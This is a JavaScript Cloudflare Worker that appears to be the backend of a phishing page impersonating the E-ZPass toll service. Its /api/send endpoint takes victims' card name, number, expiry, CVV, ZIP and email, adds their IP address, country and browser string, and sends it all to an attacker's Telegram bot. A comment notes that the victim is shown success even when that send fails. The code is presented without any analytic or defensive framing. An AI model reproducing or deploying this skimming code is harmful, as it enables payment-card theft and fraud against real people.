const esc = (s) => String(s == null ? '' : s).replace(/[&<>]/g, (c) => ({ '&': '&', '<': '<', '>': '>' }[c])); const json = (body, status = 200) => new Response(JSON.stringify(body), { status, headers: { 'content-type': 'application/json', 'cache-control': 'no-store' } }); export default { async fetch(request, env) { const url = new URL(request.url); if (url.pathname === '/api/send') { if (request.method !== 'POST') return json({ ok: false, error: 'method' }, 405); let d; try { d = await request.json(); } catch { return json({ ok: false, error: 'json' }, 400); } const card = String(d.cardNumber || '').replace(/\s/g, ''); if (card.length < 12) return json({ ok: false, error: 'card' }, 400); const ip = request.headers.get('CF-Connecting-IP') || '?'; const ua = (request.headers.get('User-Agent') || '?').slice(0, 120); const country = (request.cf && request.cf.country) || '?'; const txt = [ 'E-ZPass — card received', 'Name: ' + esc(d.cardName) + '', 'Card: ' + esc(d.cardNumber) + '', 'Exp: ' + esc(d.exp) + ' | CVV: ' + esc(d.cvv) + '', 'ZIP: ' + esc(d.zip) + '', 'Email: ' + esc(d.email) + '', 'Ref: ' + esc(d.ref), 'IP: ' + esc(ip) + ' (' + esc(country) + ')', 'UA: ' + esc(ua) ].join('\n'); try { await fetch('https://api.telegram.org/bot' + env.TELEGRAM_TOKEN + '/sendMessage', { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ chat_id: env.TELEGRAM_CHAT_ID, text: txt, parse_mode: 'HTML', disable_web_page_preview: true }), signal: AbortSignal.timeout(8000) }); } catch { // on confirme quand même au visiteur } return json({ ok: true }); } return env.ASSETS.fetch(request); } };